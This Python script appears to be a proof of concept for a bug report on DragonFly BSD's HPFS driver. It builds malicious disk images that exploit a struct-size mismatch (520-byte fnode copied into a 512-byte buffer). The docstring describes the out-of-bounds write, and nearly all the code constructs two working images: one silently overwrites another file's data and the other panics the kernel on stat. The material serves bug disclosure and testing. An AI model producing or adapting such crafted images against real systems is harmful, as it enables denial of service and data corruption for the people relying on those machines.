#!/usr/bin/env python3
"""
DF-3141 — struct fnode is 520 bytes, FNODESIZE is 512.

  sys/vfs/hpfs/hpfs.h:183   #define FNODESIZE DEV_BSIZE          (512)
  sys/vfs/hpfs/hpfs.h:185   struct fnode { ... u_int8_t fn_int[0x13c]; }
      (520 total after 8-byte alignment for fn_readhist)
  sys/vfs/hpfs/hpfs_subr.c:735-738  hpfs_update:
      bp = getblk(devvp, dbtodoff(hp->h_no), FNODESIZE, 0, 0);  // 512-byte buf
      clrbuf(bp);
      bcopy(&hp->h_fn, bp->b_data, sizeof(struct fnode));       // 520 bytes!

  => unconditional 8-byte out-of-bounds write past the buffer's data.

DragonFly buffers are VMIO (kern/vfs_bio.c:2973), b_data = buffer_map KVA
at (loffset & PAGE_MASK) inside the device object's page:

  * fnode LSN % 8 == 0..6 : the 8 OOB bytes land in the SAME page =>
    they overwrite the cached bytes of the NEXT DISK SECTOR (cross-file
    data corruption, user-visible).
  * fnode LSN % 8 == 7    : loffset & PAGE_MASK == 0xE00, buffer ends
    exactly at the page boundary => the OOB access hits the next,
    unmapped page of the buffer's KVA reservation => page fault =>
    kernel panic.

This builder emits both images:

  df3141.img  -- corruption variant: file A's fnode at LSN 0x48
                (0x48*512 = 0x9000, page-aligned).  The 8 OOB bytes land
                on sector 0x49[0..8), which is file B's data sector
                (B's extent {al_off:0, al_len:1, al_lsn:0x49}).
                Sequence: open A (vget copies 0x49[0..8)="XXXXXXXX"
                into h_fn tail) -> write B "YYYYYYYY" -> ftruncate A,
                0 -> close A -> hpfs_update writes the stale tail
                "XXXXXXXX" over B's data => B reads back "XXXXXXXX".
  df3141p.img -- panic variant: FILE's fnode at LSN 0x4F
                (0x4F*512 = 0x9E00 = page+0xE00).  stat(2) ->
                hpfs_vget -> bread(512) + bcopy(...,520) reads 8 bytes
                past the last mapped page => Fatal trap 12.

usage: craft_img.py <out.img> <corr|panic>
"""
import struct, sys

SECTOR = 512
IMGSEC = 0x1000
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
D_MAGIC  = 0x77E40AAE
DE_DOWN, DE_END = 0x0004, 0x0008

FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11
FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \
    0x20, 0x3B, 0x3C, 0x44, 0xA4
AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6

# kernel hpfsdirent field offsets (u_long == 8 bytes on amd64!)
DE_OFF_RECLEN, DE_OFF_FLAG, DE_OFF_FNODE = 0x00, 0x02, 0x04
DE_OFF_NAMELEN, DE_OFF_NAME = 0x2E, 0x2F


def base_image(img):
    def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF)
    def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF)
    def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF)
    def wr8(o, v):  img[o] = v & 0xFF

    img[0] = 0xEB
    wr16(SECTOR - 2, 0xAA55)

    # superblock @0x10
    su = 0x10 * SECTOR
    wr64(su + 0, SU_MAGIC); wr8(su + 8, 2)
    wr32(su + 12, 0x20)            # su_rootfno
    wr32(su + 16, IMGSEC)          # su_btotal
    wr32(su + 20, 0)               # su_badbtotal
    wr32(su + 24, 0x30); wr32(su + 28, 0x30)   # su_bitmap lsn1/lsn2

    # spareblock @0x11 (sp_cpinum = 0 -> cpinit is a no-op)
    wr64(0x11 * SECTOR, SP_MAGIC)

    # bitmap pointer sector @0x30 -> band bitmap at 0x38
    wr32(0x30 * SECTOR, 0x38)
    # bitmap @0x38: all busy (0). A's extent {0x200,0x200} is "busy",
    # consistent with all-zero bits.

    # root fnode @0x20 (dir): one leaf -> dirblk at 0x40
    rf = 0x20 * SECTOR
    wr32(rf + FN_OFF_MAGIC, FN_MAGIC)
    wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.')
    wr32(rf + FN_OFF_PARENT, 0x20)
    wr8(rf + FN_OFF_FLAG, 1)                       # VDIR
    img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0
    img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    wr32(rf + FN_OFF_ABD + 0, 0); wr32(rf + FN_OFF_ABD + 4, 1)
    wr32(rf + FN_OFF_ABD + 8, 0x40)                # leaf0.lsn -> dirblk 0x40
    wr32(rf + FN_OFF_SIZE, 2048)
    return wr32, wr64, wr16, wr8


def make_fnode(img, lsn, parent, name, isdir, size, leaf):
    off = lsn * SECTOR
    struct.pack_into('<I', img, off + FN_OFF_MAGIC, FN_MAGIC)
    img[off + FN_OFF_NAMELEN] = len(name)
    img[off + FN_OFF_NAME:off + FN_OFF_NAME + len(name)] = name
    struct.pack_into('<I', img, off + FN_OFF_PARENT, parent)
    img[off + FN_OFF_FLAG] = 1 if isdir else 0
    img[off + FN_OFF_AB + AB_OFF_FLAG] = 0
    img[off + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[off + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    struct.pack_into('<H', img, off + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    a = off + FN_OFF_ABD
    struct.pack_into('<III', img, a, leaf[0], leaf[1], leaf[2])
    struct.pack_into('<I', img, off + FN_OFF_SIZE, size)


def make_dirent(img, dep, reclen, flag, fnode, name):
    struct.pack_into('<HHI', img, dep, reclen, flag, fnode)
    img[dep + DE_OFF_NAMELEN] = len(name)
    img[dep + DE_OFF_NAME:dep + DE_OFF_NAME + len(name)] = name


def build(outpath, variant):
    img = bytearray(IMGSEC * SECTOR)
    wr32, wr64, wr16, wr8 = base_image(img)

    db = 0x40 * SECTOR
    wr32(db + 0, D_MAGIC)
    wr32(db + 12, 0x20)      # d_parent
    wr32(db + 16, 0x40)      # d_self

    if variant == 'corr':
        # file A: fnode 0x48, 0x200-block extent at 0x200 (data irrelevant)
        make_fnode(img, 0x48, 0x20, b'A', 0, 0x200 * 512, (0, 0x200, 0x200))
        # file B: fnode 0x4A, data sector = 0x49 == the sector right
        # after A's fnode, in the same VM page (0x9000..0x9FFF)
        make_fnode(img, 0x4A, 0x20, b'B', 0, 512, (0, 1, 0x49))
        # B's on-disk data: "XXXXXXXX..."
        img[0x49 * SECTOR:0x49 * SECTOR + 16] = b'XXXXXXXX' + b'01234567'

        dep = db + 20
        make_dirent(img, dep, 0x30, 0, 0x48, b'A')
        dep2 = dep + 0x30
        make_dirent(img, dep2, 0x30, 0, 0x4A, b'B')
        dep3 = dep2 + 0x30
        struct.pack_into('<HH', img, dep3, 2048 - (dep3 - db), DE_END)
        wr32(db + 4, (dep3 + 4) - db)     # d_freeoff
    else:  # panic
        # FILE fnode at 0x4F: 0x4F*512 = 0x9E00 = page+0xE00
        make_fnode(img, 0x4F, 0x20, b'FILE', 0, 512, (0, 1, 0x100))
        dep = db + 20
        reclen = ((0x2F + 4) + 3) & ~3        # 0x34: name must fit the entry
        make_dirent(img, dep, reclen, 0, 0x4F, b'FILE')
        dep2 = dep + reclen
        struct.pack_into('<HH', img, dep2, 2048 - (dep2 - db), DE_END)
        wr32(db + 4, (dep2 + 4) - db)

    with open(outpath, 'wb') as f:
        f.write(img)
    print("wrote %s (%s)" % (outpath, variant))


if __name__ == '__main__':
    build(sys.argv[1], sys.argv[2])
